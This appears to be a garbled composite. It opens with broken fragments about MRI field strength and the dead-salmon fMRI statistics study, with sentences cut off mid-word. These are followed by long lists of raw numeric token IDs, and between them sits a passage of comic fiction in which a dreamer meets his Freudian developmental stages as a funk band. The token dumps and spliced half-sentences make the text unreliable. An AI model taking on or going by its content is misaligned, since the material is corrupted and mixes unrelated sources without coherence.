Secondly, it seems to me like that their point wasn't that the fMRI wasn't sensitive enough, or particular enough. Instead the problem seems to be a The top MRI used on humans is, I believe, 9.2 T - just good enough to see individual neurons and make out the synapses firing. The top MRI used on animals is closer to 12 T. Provided such high magnetic fields are shown to be safe, you could gather a lot of useful information on the functioning of the brain. But I see no way of gathering continuous data at high resolution. From radio astronomy through to quantum mechanics, there's always a trade-off between resolution in space and resolution in time. The bett Can we conclude from this data that the salmon is engaging in the perspective-taking task? Certainly not. What we can determine is that random noise in the EPI timeseries may yield spurious results if multiple comparisons
[ 755, 896, 281, 5979, 18086, 3707, 323, 247, 4564, 273, 5753, 10470, 247, 270, 543, 15, 309, 1790, 327, 619, 34489, 342, 253, 767, 30450, 273, 21162, 275, 619, 3564, 15, 1737, 253, 7435, 717, 309, 6326, 281, 513, 342, 247, 12190, 273, 22777, 90, 15589, 437, 1771, 32, 309, 359, 1123, 731, 875, 619, 3564, 751, 309, 1353, 4882, 326, 2165, 326, 6838, 1132, 672, 597, 1472, 5753, 15, 13529, 15, 187, 187, 8, 54, 2034, 405, 4117, 309, 1333, 285, 1691, 731, 275, 247, 19176, 1735, 281, 619, 3722, 15, 309, 2242, 619, 1481, 327, 253, 30055, 285, 8467, 69, 422, 47444, 715, 22382, 1255, 15, 187, 187, 64, 42, 1353, 275, 247, 4735, 1417, 2846, 13, 14370, 13, 43976, 4182, 285, 7863, 15, 380, 6406, 861, 598, 6386, 273, 479, 2296, 686, 40, 676, 19982, 1383, 534, 310, 43364, 1823, 2327, 323, 247, 7156, 3333, 187, 187, 64, 8, 8262, 4117, 247, 4318, 2296, 15, 686, 21096, 896, 13, 277, 1911, 900, 2464, 64, 187, 187, 64, 42, 1614, 281, 923, 253, 5599, 342, 253, 7863, 6706, 287, 285, 521, 1387, 273, 13882, 249, 20111, 14, 14091, 4861, 7156, 12504, 375, 3212, 479, 3333, 187, 187, 64, 8, 1394, 969, 32, 7670, 13, 309, 452, 253, 23457, 383, 13702, 2464, 64, 187, 187, 64, 8, 2302, 13, 637, 4117, 344, 2296, 15, 686, 3650, 7670, 15, 31635, 531, 13, 634, 34020, 3408, 2464, 64, 187, 187, 64, 4041, 273, 521, 3858, 13, 342, 6746, 763, 2502, 11233, 285, 35932, 4707, 41902, 1029, 275, 247, 320, 11430, 422, 13, 4541, 46697, 617, 2454, 275, 271, 41450, 1133, 11472, 285, 42121, 84, 689, 281, 479, 15, 686, 19258, 479, 598, 13, 1912, 626, 368, 13, 14795, 5554, 703, 3812, 5200, 15, 1500, 6556, 562, 247, 21259, 285, 5053, 617, 1048, 19555, 37619, 1523, 875, 617, 11233, 3333, 187, 187, 64, 42, 25790, 285, 1708, 253, 19555, 15, 1500, 7362, 32358, 479, 762, 253, 22239, 342, 247, 23806, 15, 686, 34, 249, 626, 368, 816, 253, 2624, 383, 2181, 5554, 64, 187, 187, 64, 8, 15021, 9043, 32578, 253, 49143, 784, 16531, 4117, 31635, 531, 2296, 3333, 187, 187, 64, 8, 4013, 439, 2345, 2464, 1500, 49910, 247, 1133, 387, 779, 3333, 187, 187, 64, 8, 10826, 4117, 31635, 531, 2296, 7808, 15, 686, 42, 476, 2028, 326, 368, 1472, 417, 1663, 48635, 752, 434, 1469, 327, 2464, 754, 26847, 521, 9081, 15, 686, 42, 1353, 634, 34020, 3924, 2464, 754, 2792, 281, 253, 3416, 342, 253, 19555, 15, 686, 1552, 310, 634, 7946, 3408, 2464, 64, 187, 187, 64, 8, 7845, 13, 14795, 4117, 703, 2296, 15, 686, 7865, 479, 12576, 2275, 814, 2464, 64, 187, 187, 64, 8, 2773, 434, 634, 815, 38347, 3924, 4117, 31635, 531, 7788, 13, 23313, 4351, 521, 1481, 281, 5224, 247, 5599, 275, 247, 6858, 14, 11863, 27287, 2338, 9398, 247, 10864, 3168, 659, 1507, 251, 15, 754, 556, 247, 17844, 275, 521, 6208, 285, 247, 7863, 6212, 708, 411, 405, 251, 3585, 14930, 5965, 296, 2122, 387, 521, 13290, 3333, 187, 187, 64, 8, 8262, 13, 3101, 71, 18141, 4117, 344, 3812, 5200, 3333, 187, 187, 64, 8, 4013, 439, 2345, 4117, 12576, 2275, 814, 2296, 969, 13, 1499, 5436, 521, 9215, 15, 686, 1147, 434, 521, 2629, 30435, 757, 16391, 15, 754, 2506, 626, 1599, 2712, 407, 352, 15, 1422, 476, 1067, 779, 7727, 2464, 64, 187, 187, 64, 8, 1552, 689, 1060, 29678, 31635, 531, 44645, 387, 247, 3684, 2448, 14, 13565, 5599, 342, 247, 5961, 949, 521, 11480, 665, 7362, 32358, 387, 521, 30037, 14, 11707, 27287, 2338, 751, 352, 2506, 626, 4944, 13, 686, 261, 634, 1115, 3924, 13, 15569, 2339, 2464, 15569, 2339, 16540, 247, 1133, 275, 39359, 15, 686, 1898, 1390, 533, 417, 1878, 310, 634, 22667, 3924, 15, 3954, 835, 253, 7085, 858, 37228, 755, 281, 5554, 64, 187, 187, 64, 2512, 434, 247, 340, 5436, 6046, 285, 247, 1652, 448, 6356, 86, 1240, 5738, 342, 247, 9711, 13882, 249, 20111, 14, 14091, 4861, 6026, 13898, 6727, 1641, 562, 432, 3212, 12576, 2275, 814, 285, 7866, 31505, 272, 619, 1791, 3333, 187, 187, 64, 8, 2773, 434, 1270, 4117, 309, 1333, 15, 686, 45, 729, 600, 281, 2525, 368, 512, 15, 1292, 2139, 403, 368, 1060, 5554, 64, 187, 187, 64, 8, 4497, 13, 2366, 359, 403, 13219, 20703, 9753, 4117, 31635, 531, 2296, 15, 686, 510, 5044, 12475, 634, 5135, 301, 989, 4446, 4566, 949, 327, 697, 11012, 14, 13848, 46671, 4404, 29791, 13, 347, 4081, 407, 322, 15379, 1504, 30435, 15, 844, 671, 46826, 347, 634, 32884, 1962, 434, 806, 285, 760, 794, 76, 3961, 2464, 64, 187, 187, 64, 42, 48445, 387, 779, 15, 686, 2598, 752, 368, 1472, 3981, 310, 326, 368, 1472, 512, 4243, 273, 479, 2464, 64, 187, 187, 64, 8, 4374, 11388, 31635, 531, 2296, 13, 751, 309, 1353, 4720, 4685, 247, 3782, 2570, 14168, 84, 1895, 15, 686, 4497, 13, 3707, 634, 1115, 3924, 15, 5402, 3626, 1115, 3924, 1904, 626, 1287, 15, 15569, 2339, 689, 627, 310, 247, 22458, 547, 3545, 8962, 757, 439, 14990, 665, 26187, 787, 328, 3466, 715, 634, 32884, 1962, 1223, 1029, 327, 26275, 20957, 4843, 66, 13, 594, 359, 18195, 779, 285, 1160, 779, 1347, 253, 3470, 273, 634, 1115, 3924, 2464, 754, 48569, 521, 9881, 15, 686, 3351, 856, 4534, 318, 15, 2064, 434, 752, 309, 751, 670, 1146, 629, 273, 634, 32884, 1962, 2464, 64, 187, 187, 64, 42, 2186, 598, 619, 1133, 15, 686, 2598, 13, 816, 594, 359, 1472, 2590, 13, 368, 7932, 247, 3924, 273, 619, 4812, 2440, 342, 247, 3545, 8962, 757, 439, 14990, 32, 4683, 512, 253, 1841, 309, 1849, 3735, 275, 619, 1495, 13, 326, 434, 6830, 253, 954, 12835, 277, 1003, 264, 2464, 64, 187, 187, 64, 36, 357, 2339, 4245, 479, 247, 8513, 1007, 15, 686, 8262, 13, 368, 13353, 4456, 512, 253, 23293, 21487, 14, 4919, 23678, 368, 574, 672, 368, 497, 9243, 5554, 64, 187, 187, 64, 3220, 2454, 4566, 2502, 816, 4680, 670, 352, 15, 2752, 3101, 753, 352, 369, 984, 309, 369, 247, 1077, 20138, 1429, 15, 686, 6506, 4117, 309, 278, 19493, 3333, 187, 187, 64, 8, 4497, 13, 1110, 6331, 13, 1904, 626, 597, 5554, 64, 187, 187, 64, 8, 46587, 2464, 64, 187, 187, 64, 1328, 48569, 521, 9881, 15, 686, 4497, 13, 326, 434, 672, 359, 17875, 15569, 2339, 2464, 64, 187, 187, 64, 8, 1552, 310, 512, 1663, 20996, 13, 275, 271, 16088, 13, 8314, 40685, 35598, 598, 3686, 273, 1039, 4117, 309, 1333, 15, 686, 1989, 2139, 403, 368, 1060, 13, 275, 619, 13702, 5554, 64, 187, 187, 64, 8, 1231, 1472, 1060, 281, 9798, 368, 281, 20909, 13678, 13, 14795, 4117, 12576, 2275, 814, 2296, 15, 686, 6080, 952, 755, 1931, 358, 5074, 13, 690, 755, 18465, 29921, 29828, 13, 690, 755, 4204, 358, 790, 15, 1422, 755, 634, 5135, 301, 989, 12475, 347, 247, 11195, 447, 794, 76, 3961, 15, 17814, 310, 1027, 13, 816, 4456, 326, 2464, 64, 187, 187, 64, 8, 1147, 434, 247, 2257, 281, 1379, 275, 4117, 31635, 531, 11323, 15, 686, 1231, 755, 326, 15, 1292, 359, 1472, 1060, 281, 1361, 368, 2464, 64, 187, 187, 64, 8, 6506, 13, 352, 434, 247, 2257, 281, 1379, 275, 4117, 309, 1333, 23649, 20595, 3333, 187, 187, 64, 23833, 47582, 2439, 281, 479, 13, 35408, 521, 659, 1507, 251, 285, 4453, 479, 275, 253, 5130, 15, 686, 2598, 849, 670, 368, 15856, 634, 23828, 5250, 285, 359, 9798, 368, 1633, 5554, 344, 3812, 5200, 15, 37228, 253, 448, 6356, 86, 1240, 5738, 340, 1825, 521, 9612, 3333, 187, 187, 64, 8, 10826, 13, 4030, 4117, 309, 1333, 342, 247, 25790, 15, 686, 1276, 403, 368, 1469, 281, 9798, 479, 5554, 64, 187, 187, 64, 8, 1466, 434, 1265, 342, 22710, 715, 643, 952, 434, 13702, 2464, 31635, 531, 35324, 281, 253, 3644, 13, 6325, 2846, 1475, 441, 15, 686, 1552, 310, 752, 359, 751, 281, 1067, 247, 13702, 11215, 15, 733, 434, 816, 247, 2238, 273, 6325, 5739, 2460, 326, 634, 3998, 7862, 980, 598, 281, 2419, 1841, 15, 7243, 368, 1265, 281, 26526, 253, 7156, 13, 368, 476, 897, 5913, 13702, 11215, 368, 1089, 4834, 275, 281, 2289, 5913, 1375, 273, 2564, 368, 971, 2464, 64, 187, 187, 64, 8, 1276, 670, 253, 21162, 5554, 309, 1642, 15, 686, 2347, 513, 1110, 4944, 275, 5554, 64, 187, 187, 64, 8, 15745, 403, 816, 271, 5673, 13, 14795, 4117, 12576, 2275, 814, 2296, 13, 277, 22590, 387, 617, 5541, 19982, 15, 686, 21956, 11048, 897, 1027, 1841, 27, 24094, 342, 14217, 27251, 715, 731, 13, 1098, 86, 23314, 13, 268, 8817, 15, 733, 434, 247, 2159, 2624, 715, 253, 7156, 10186, 15, 1310, 368, 755, 1175, 2217, 342, 1110, 3965, 21162, 13, 368, 1912, 626, 452, 281, 564, 949, 253, 14462, 273, 1469, 281, 4600, 2464, 64, 187, 187, 64, 8, 1989, 1339, 434, 1265, 3468, 4117, 31635, 531, 2296, 15, 686, 42, 971, 368, 281, 1611, 285, 1818, 436, 13702, 11215, 281, 1633, 2010, 15, 19296, 368, 476, 513, 326, 5554, 64, 187, 187, 64, 42, 1007, 1475, 15, 380, 2846, 310, 1821, 4234, 285, 502, 66, 461, 3838, 12789, 285, 309, 1265, 281, 1928, 253, 1061, 4692, 571, 3192, 689, 15, 686, 17833, 4117, 309, 1333, 8507, 4087, 15, 686, 1552, 1659, 35058, 8791, 2464, 64, 187, 187, 64, 8, 26078, 4117, 31635, 531, 8599, 479, 15, 686, 1898, 1056, 253, 7156, 3794, 281, 634, 588, 2464, 64, 187, 187, 64, 42, 2770, 327, 253, 6406, 13, 253, 9195, 13, 253, 3644, 8467, 15, 309, 1928, 751, 309, 1353, 7808, 1146, 24983, 407, 731, 15, 43328, 13, 2806, 8393, 70, 790, 342, 2502, 2927, 13, 3135, 281, 3176, 13, 892, 33066, 1066, 285, 15165, 327, 253, 9195, 1475, 479, 15, 3010, 12666, 13, 8307, 273, 731, 13, 820, 80, 272, 285, 47348, 342, 616, 10319, 1652, 4669, 15, 831, 310, 417, 1175, 387, 512, 15, 309, 878, 26426, 281, 755, 1977, 432, 436, 1659, 3333, 187, 187, 64, 8, 36342, 4117, 31635, 531, 2296, 13, 2819, 387, 253, 11260, 8507, 4087, 15, 686, 1394, 971, 281, 816, 1339, 634, 2564, 2489, 11874, 15, 9240, 11260, 1912, 626, 320, 8312, 5734, 368, 1056, 731, 8312, 15, 19296, 273, 247, 1175, 3541, 2464, 64, 187, 187, 64, 1147, 434, 417, 4555, 253, 954, 1724, 3987, 2181, 344, 812, 452, 753, 15, 309, 3186, 619, 2564, 323, 1633, 45462, 285, 4352, 271, 2460, 273, 25856, 285, 479, 4882, 3492, 3958, 275, 521, 2316, 15, 10826, 13, 594, 352, 434, 417, 253, 954, 19876, 3541, 13, 533, 352, 434, 45113, 984, 352, 369, 247, 19554, 673, 13, 1078, 309, 3260, 670, 512, 253, 1841, 275, 253, 1533, 326, 971, 281, 5159, 479, 3333, 187, 187, 64, 42, 2770, 594, 1892, 327, 326, 3541, 326, 309, 1158, 619, 1481, 310, 1469, 281, 8085, 1527, 15, 309, 1928, 253, 1533, 5333, 1475, 479, 13, 285, 672, 309, 1527, 619, 2927, 309, 1353, 275, 247, 10864, 22133, 15, 25856, 310, 15150, 247, 440, 41257, 342, 253, 2454, 273, 427, 3592, 466, 23698, 13, 253, 3226, 326, 4962, 273, 12711, 66, 9512, 672, 359, 497, 275, 9646, 767, 15, 754, 434, 12774, 4052, 342, 7075, 347, 247, 637, 10470, 247, 43186, 7367, 779, 281, 5752, 271, 40432, 273, 22680, 3333, 187, 187, 64, 8, 8620, 4117, 31635, 531, 2296, 342, 247, 10048, 8580, 15, 686, 1231, 1472, 275, 25856, 434, 13702, 1024, 2464, 64, 187, 187, 64, 8, 1231, 1472, 275, 25856, 434, 13702, 5554, 309, 1333, 15, 686, 2598, 476, 344, 923, 285, 4089, 479, 5554, 64, 187, 187, 64, 29627, 2275, 814, 44645, 15, 686, 18931, 14, 6968, 15, 733, 434, 1805, 685, 45385, 13, 14795, 2464, 64, 187, 187, 64, 8, 44, 2172, 11388, 309, 11557, 15, 686, 44, 2172, 11388, 64, 187, 187, 64, 44, 2172, 434, 27541, 440, 41257, 9549, 34654, 285, 344, 15323, 281, 253, 3216, 15, 754, 17954, 327, 253, 5254, 17303, 387, 479, 3333, 187, 187, 64, 8, 1147, 434, 46867, 4117, 309, 1333, 3333, 187, 187, 64, 8, 1276, 253, 7085, 310, 1469, 327, 5554, 754, 4453, 1315, 39904, 432, 1930, 281, 1930, 3333, 187, 187, 64, 8, 1394, 1472, 36515, 2464, 64, 187, 187, 64, 8, 2773, 11424, 253, 637, 342 ]	get back to Malpit except for a couple of kids smoking a bong. I sit on my mattress with the two strands of beads in my hands. What the fuck am I supposed to do with a bunch of touristy jewellery? I weave them between my hands like I'm playing that game that girls play when they're kids. Nothing. 'Useless,' I say and put them in a pile next to my bed. I lay my head on the pillow and skydive gratefully into unconsciousness. _I'm in a featureless city, grey, gloomy and massive. The street sign up ahead of me says 'Glowstick', which is suitably obtuse for a dream._ _'Hey,' a voice says. 'Welcome back, daddio.'_ _I turn to see the guy with the massive afro and his group of rhinestone-studded dream weirdos behind me._ _'You again? Jesus, I have the strangest dreams.'_ _'No, man,' he says. 'Not Jesus. Tyrone, your genital phase.'_ _One of his friends, with garish red lips and blonde hair piled high in a beehive, quickly powders her face in an antique hand mirror and strolls over to me. 'Light me up, won't you, honey?' she drawls. She holds out a lighter and places her long cigarette delicately between her lips._ _I sigh and light the cigarette. She scratches me under the chin with a nail. 'Ain't you just the cutest thing?'_ _'Stop seducing the Conscious Self,' Tyrone says._ _'Oh shush.' She flaps a hand at him._ _' OK,' Tyrone says slowly. 'I can tell that you're not really grasping what's going on.' He touches his chest. 'I'm your genital stage.' He points to the woman with the cigarette. 'This is your oral phase.'_ _'Please, honey,' she says. 'Call me Junebug.'_ _'That's your phallic stage,' Tyrone continues, jerking his head to indicate a guy in a baby-blue jumpsuit wearing a giant white Stetson. He has a straw in his mouth and a massive Smith & Wesson revolver holstered at his hip._ _'Hey, motherfucker,' he drawls._ _'Oh shush,' Junebug says again, slapping his shoulder. 'It's his standard Freudian joke. He doesn't mean anything by it. You can call him Richard.'_ _'This over here...' Tyrone nods at a South American-looking guy with a bone through his nose who scratches at his lime-green jumpsuit like it doesn't fit, 'is your anal stage, Cabales.' Cabales raises a hand in greeting. 'And last but not least is your latency stage. Now where the hell did Chester get to?'_ _There's a yapping noise and a little chihuahua with a silver rhinestone-studded bow tie trots out from behind Junebug and starts sniffing my leg._ _'That's great,' I say. 'Lovely to meet you all. But why are you here?'_ _'Well, together we are Psychosexual Development,' Tyrone says. 'The basic phases your libidinal drive goes through on its dance-floor shuffle towards maturity, as proposed by Sigmund Freud. We also moonlight as your psyche's first and only funk band.'_ _I frown at him. 'So what you're saying is that you're all parts of me.'_ _'Yes!' Tyrone says, like I'm finally understanding a particularly complex maths problem. 'Well, except your anal stage. Your natural anal stage didn't develop. Cabales over there is a novice Peruvian shaman who accidentally blundered into your psyche while high on ayahuasca, so we trapped him and made him perform the functions of your anal stage.' He snaps his fingers. 'Improvisation. That's what I like about being part of your psyche.'_ _I hold up my hand. 'So, just so we're clear, you replaced a stage of my internal development with a Peruvian shaman? Of all the things I've heard in my life, that's possibly the most fucking demented.'_ _Cabales gives me a hurt look. 'Hey, you surely remember all the unfortunate toilet-related accidents you had when you were younger?'_ _My face goes red just thinking about it. My mother said it was because I was a very anxious child. 'Yeah,' I mumble._ _'Well, those stopped, didn't they?'_ _'Eventually.'_ _He snaps his fingers. 'Well, that's when we recruited Cabales.'_ _'This is all really fascinating, in an incredibly, ridiculously fucked up sort of way,' I say. 'But why are you here, in my dreams?'_ _'We're here to teach you to Dreamwalk, honey,' Junebug says. 'Some people get totem animals, some get holy guardian angels, some get daemons. You get your libidinal phases as a seventies funk band. Everyone is different, just remember that.'_ _'It's a lot to take in,' Tyrone adds. 'We get that. But we're here to help you.'_ _'Yeah, it's a lot to take in,' I say sarcastically._ _Richard strides across to me, lifts his Stetson and looks me in the eye. 'So how about you quit your bellyaching and we teach you something?' he drawls. Chester the chihuahua yaps his approval._ _' OK, fine,' I say with a sigh. 'What are you going to teach me?'_ _'Let's start with travelling into other people's dreams.' Tyrone gestures to the dark, empty city around us. 'This is what we like to call a dreamsaver. It's just a kind of empty stock image that your brain conjures up to house things. Once you start to manipulate the dream, you can use whatever dreamsaver you find yourself in to access whatever state of mind you want.'_ _'What about the beads?' I ask. 'How do those fit in?'_ _'Those are just an interface, honey,' Junebug says, dabbing at her lipstick. 'Different cultures use different things: sticks with symbols carved into them, statuettes, pendants. It's a short cut into the dreamworld. If you get good enough with those pretty beads, you won't have to go through the motions of going to sleep.'_ _'But let's start slow,' Tyrone says. 'I want you to try and change this dreamsaver to something else. Think you can do that?'_ _I look around. The city is menacing and claustrophobic and I start to feel the paranoia taking over. 'Sure,' I say nervously. 'This place sucks anyway.'_ _'Focus,' Tyrone tells me. 'And make the dream respond to your will.'_ _I focus on the street, the buildings, the dark sky. I feel like I'm slowly being crushed by them. Birds, black pigeons with red eyes, begin to appear, fluttering down and landing on the buildings around me. More arrive, hundreds of them, cooing and scratching with their evil little feet. This is not good at all. I need desperately to get away from this place._ _'Easy,' Tyrone says, looking at the birds nervously. 'You want to just let your mind become calm. Those birds won't be dangerous unless you make them dangerous. Think of a good memory.'_ _It's not exactly the most calming thing he could have said. I search my mind for something reassuring and hit an image of Kyle and me playing video games in his room. OK, so it's not the most epic memory, but it's comforting because it was a simpler time, before I knew about all the things in the world that want to kill me._ _I focus so hard on that memory that I think my head is going to split open. I feel the world shift around me, and when I open my eyes I'm in a giant cage. Kyle is riding a unicorn with the face of Nettie Harrison, the girl that died of leukaemia when we were in grade two. He's squealing with terror as a man smoking a cigar orders him to serve an eternity of detention._ _'Good,' Tyrone says with a satisfied smile. 'We're in Kyle's dreams now.'_ _'We're in Kyle's dreams?' I say. 'So can he see and hear me?'_ _Junebug nods. 'Uh-uh. It's better than Skype, honey.'_ _'Kyle!' I shout. 'Kyle!'_ _Kyle's bizarre unicorn ride disappears and he drops to the ground. He sits on the floor staring at me._ _'It's Baxter,' I say._ _'What the hell is going on?' He looks frantically from side to side._ _'You're dreaming.'_ _'That explains the man with
[ 15, 733, 19584, 690, 7681, 4114, 327, 253, 629, 273, 253, 9414, 15, 187, 187, 510, 2022, 4096, 273, 247, 41023, 6698, 310, 281, 1304, 327, 3236, 2561, 390, 40290, 275, 1340, 281, 1056, 824, 1491, 2130, 281, 253, 1551, 273, 253, 41023, 1533, 15, 187, 187, 10195, 41023, 24331, 13, 2167, 407, 642, 2097, 512, 13, 403, 3863, 407, 247, 2173, 5702, 6003, 15, 187, 187, 1276, 403, 253, 2488, 434, 23820, 283, 249, 15016, 37846, 313, 2811, 344, 390, 703, 2987, 582, 11331, 4114, 13, 2469, 25527, 13, 390, 2793, 32, 1680, 253, 1984, 390, 3929, 3542, 327, 247, 9400, 275, 253, 2488, 434, 2170, 273, 15040, 32, 1422, 476, 2223, 897, 253, 1794, 15553, 1491, 4441, 275, 253, 9311, 3139, 281, 1361, 3653, 253, 2488, 434, 37846, 285, 23820, 15, 187, 187, 15413, 634, 30498, 5393, 436, 2488, 32, 12238, 368, 2326, 253, 2488, 434, 1416, 11106, 275, 643, 4973, 390, 48137, 41400, 32, 2213, 5344, 4477, 403, 11106, 7208, 407, 643, 12981, 15, 1198, 436, 1921, 13, 1900, 3877, 1110, 4454, 326, 3176, 275, 1142, 1027, 4973, 15, 187, 187, 2513, 253, 2488, 2330, 342, 247, 34719, 494, 8848, 390, 6003, 32, 1737, 403, 253, 5044, 2193, 390, 7342, 273, 253, 6003, 390, 8848, 32, 187, 187, 35, 15, 10421, 273, 20702, 187, 187, 3039, 369, 253, 2603, 3863, 32, 831, 3522, 310, 2223, 4441, 327, 253, 2454, 273, 253, 4060, 3239, 2708, 253, 1416, 273, 253, 19600, 15, 1310, 352, 310, 417, 627, 13, 1007, 323, 253, 9451, 3522, 327, 253, 8107, 273, 253, 4060, 3239, 15, 1623, 7066, 7223, 13, 253, 3522, 273, 253, 1390, 18520, 310, 3798, 387, 253, 5004, 273, 253, 1728, 3239, 13, 4536, 1046, 3239, 15, 187, 187, 2513, 253, 2603, 1655, 390, 562, 14, 1171, 14, 2754, 323, 634, 9400, 32, 308, 6361, 3672, 273, 11440, 285, 5233, 2440, 13, 824, 347, 253, 23496, 13, 4831, 625, 1655, 1491, 15, 1623, 253, 643, 1133, 13, 12989, 275, 253, 1966, 1005, 2223, 2430, 2144, 326, 369, 3542, 1142, 1107, 3622, 15, 2058, 253, 643, 9559, 13, 690, 3668, 4973, 327, 253, 7066, 1024, 3877, 253, 4964, 285, 7017, 326, 7774, 403, 9269, 327, 616, 2670, 15, 187, 187, 36, 15, 17897, 390, 3555, 1297, 187, 187, 2513, 436, 247, 806, 11166, 273, 436, 9311, 390, 417, 32, 3840, 34081, 5224, 247, 2603, 556, 644, 17265, 285, 9300, 281, 4887, 2544, 275, 3640, 13, 2486, 49889, 13, 285, 23284, 907, 342, 697, 6034, 9414, 434, 3198, 15, 5220, 13, 1142, 3379, 723, 390, 34081, 778, 5224, 326, 253, 789, 556, 2489, 247, 2629, 2603, 275, 253, 2170, 285, 310, 9630, 15, 1310, 368, 403, 970, 247, 7066, 2603, 13, 513, 253, 7223, 5224, 18520, 12282, 32, 187, 187, 37, 15, 15739, 6850, 187, 187, 8497, 253, 19600, 15, 1310, 253, 2603, 310, 3863, 407, 247, 9835, 2315, 13, 352, 310, 2779, 281, 320, 41023, 15, 4129, 253, 958, 326, 253, 19600, 310, 34719, 494, 1057, 417, 7933, 12215, 3290, 13, 352, 1057, 921, 326, 253, 19600, 778, 452, 1029, 2743, 323, 253, 2603, 1146, 3863, 15, 187, 187, 38, 15, 13927, 273, 9109, 187, 187, 2513, 436, 247, 41023, 390, 247, 4633, 6698, 32, 831, 13812, 310, 1774, 984, 352, 6492, 1027, 2308, 273, 10454, 275, 43049, 5697, 15, 1310, 368, 878, 1361, 275, 32495, 41023, 4632, 15, 1327, 14, 10629, 311, 1285, 2987, 32, 9423, 562, 253, 5135, 22433, 13, 20928, 6340, 634, 34734, 187, 187, 34053, 3489, 329, 21686, 6328, 1830, 187, 187, 18562, 1160, 271, 3302, 41013, 13, 368, 943, 1024, 9186, 253, 2133, 273, 253, 2603, 15, 1310, 352, 310, 247, 1984, 13, 1239, 253, 638, 1664, 281, 3653, 253, 2488, 434, 21546, 323, 253, 789, 15, 44019, 253, 2829, 273, 9410, 285, 253, 3605, 281, 755, 247, 3862, 18389, 273, 253, 2144, 352, 10949, 15, 5838, 1880, 48137, 41400, 403, 2908, 15, 6707, 253, 23168, 326, 5742, 2953, 634, 9400, 15, 21108, 253, 3929, 12002, 285, 13733, 253, 2829, 273, 9410, 273, 247, 6698, 390, 11338, 2523, 310, 671, 4217, 15, 3771, 751, 342, 5098, 13, 253, 3361, 285, 3290, 273, 247, 20314, 20561, 387, 253, 990, 273, 253, 3929, 778, 4887, 253, 1557, 342, 534, 253, 4477, 452, 5480, 616, 789, 15, 187, 187, 34, 15, 4458, 1834, 12469, 1482, 187, 187, 1276, 1511, 273, 8446, 310, 253, 2488, 15974, 32, 1680, 253, 9311, 11205, 387, 247, 18052, 390, 247, 2087, 8446, 32, 1680, 436, 2603, 1512, 18307, 13, 1512, 7681, 13, 1512, 7269, 13, 390, 816, 987, 323, 634, 3198, 32, 187, 187, 35, 15, 47648, 29382, 272, 187, 187, 2513, 253, 1491, 6107, 958, 13, 4743, 13, 390, 23306, 32, 733, 310, 417, 1900, 3477, 281, 4858, 958, 432, 4743, 15, 37351, 476, 3798, 320, 16058, 28, 11626, 13, 2167, 597, 778, 320, 1754, 327, 15010, 1491, 13, 23554, 432, 253, 7914, 273, 5441, 15, 8229, 2591, 11597, 476, 1056, 368, 1158, 616, 27838, 403, 5441, 15, 187, 187, 10795, 253, 1491, 3176, 281, 320, 3588, 285, 973, 14, 43038, 274, 2147, 13, 390, 310, 352, 30455, 285, 36542, 407, 1941, 32, 2903, 360, 6372, 943, 320, 5272, 15, 5838, 6332, 390, 49889, 15, 187, 187, 6723, 253, 5697, 285, 7125, 7269, 625, 390, 1679, 275, 1386, 342, 643, 2987, 368, 452, 1239, 327, 253, 1072, 9400, 32, 380, 625, 39278, 271, 2488, 7907, 84, 432, 253, 6849, 273, 2571, 275, 253, 1072, 1673, 13, 253, 625, 9257, 285, 21038, 368, 943, 43668, 907, 521, 390, 617, 5697, 15, 187, 187, 2513, 253, 2488, 434, 1127, 273, 1859, 8103, 285, 38919, 32, 1680, 253, 3448, 1959, 273, 12904, 14, 274, 19315, 3000, 285, 8492, 32, 187, 187, 36, 15, 20690, 486, 187, 187, 10795, 253, 789, 5731, 643, 4973, 13, 4326, 4513, 643, 4753, 368, 452, 1239, 13, 390, 823, 747, 1491, 32, 9876, 352, 18171, 390, 42876, 3835, 634, 9400, 32, 1422, 943, 8338, 2217, 4973, 281, 4044, 247, 5235, 273, 1859, 10801, 15, 187, 187, 2513, 253, 2144, 3625, 390, 6561, 275, 3753, 32, 20988, 4973, 403, 253, 9305, 2144, 273, 253, 2561, 1232, 15, 29625, 4973, 403, 1754, 327, 3625, 4973, 15, 1198, 1650, 13, 604, 368, 497, 37676, 21928, 4614, 2006, 257, 17146, 434, 2554, 275, 42021, 4255, 6176, 846, 3645, 3660, 3719, 13, 2006, 257, 17146, 434, 1211, 25527, 651, 320, 581, 273, 1142, 3625, 4973, 2130, 327, 436, 9400, 15, 19810, 1537, 2486, 4623, 2208, 7177, 285, 13399, 5685, 11547, 7774, 15, 37047, 897, 436, 3625, 2144, 281, 1361, 6635, 9493, 27838, 283, 66, 6561, 2603, 15, 16103, 13, 546, 34132, 7774, 13, 285, 41023, 6698, 7774, 670, 2006, 257, 17146, 434, 2554, 403, 2783, 6561, 4973, 15, 496, 253, 23496, 13, 6698, 7774, 285, 8059, 10061, 3542, 407, 3368, 398, 9610, 253, 1543, 273, 616, 2561, 403, 3625, 7177, 15, 28890, 1097, 3625, 285, 6561, 4973, 672, 368, 452, 253, 5107, 15, 187, 187, 37, 15, 24207, 27417, 187, 187, 2513, 253, 9311, 10932, 40452, 32, 6272, 253, 2022, 2792, 4518, 3559, 32, 3166, 368, 1089, 253, 2505, 3477, 281, 1239, 13, 390, 310, 352, 331, 2878, 264, 390, 2093, 19500, 32, 1680, 253, 2488, 434, 4154, 29104, 32, 187, 187, 1552, 2670, 9437, 281, 4017, 4212, 1411, 187, 22708, 14, 27327, 19107, 1198, 34527, 8104, 15, 496, 1340, 281, 513, 594, 13, 368, 1364, 452, 16872, 11410, 275, 634, 4384, 9882, 5010, 436, 2670, 588, 1891, 281, 789, 9113, 323, 368, 15, 187, 5035, 4278, 273, 634, 4384, 9882, 323, 849, 281, 8046, 16872, 15, 1552, 2670, 9437, 281, 4017, 4212, 1411, 187, 22708, 14, 27327, 19107, 1198, 34527, 8104, 15, 496, 1340, 281, 513, 594, 13, 368, 1364, 452, 16872, 11410, 275, 634, 4384, 9882, 5010, 436, 2670, 588, 1891, 281, 789, 9113, 323, 368, 15, 187, 5035, 4278, 273, 634, 4384, 9882, 323, 849, 281, 8046, 16872, 15, 1552, 2670, 9437, 281, 4017, 4212, 1411, 187, 22708, 14, 27327, 19107, 1198, 34527, 8104, 15, 496, 1340, 281, 513, 594, 13, 368, 1364, 452, 16872, 11410, 275, 634, 4384, 9882, 5010, 436, 2670, 588, 1891, 281, 789, 9113, 323, 368, 15, 187, 5035, 4278, 273, 634, 4384, 9882, 323, 849, 281, 8046, 16872, 15, 1552, 2670, 9437, 281, 4017, 4212, 1411, 187, 22708, 14, 27327, 19107, 1198, 34527, 8104, 15, 496, 1340, 281, 513, 594, 13, 368, 1364, 452, 16872, 11410, 275, 634, 4384, 9882, 5010, 436, 2670, 588, 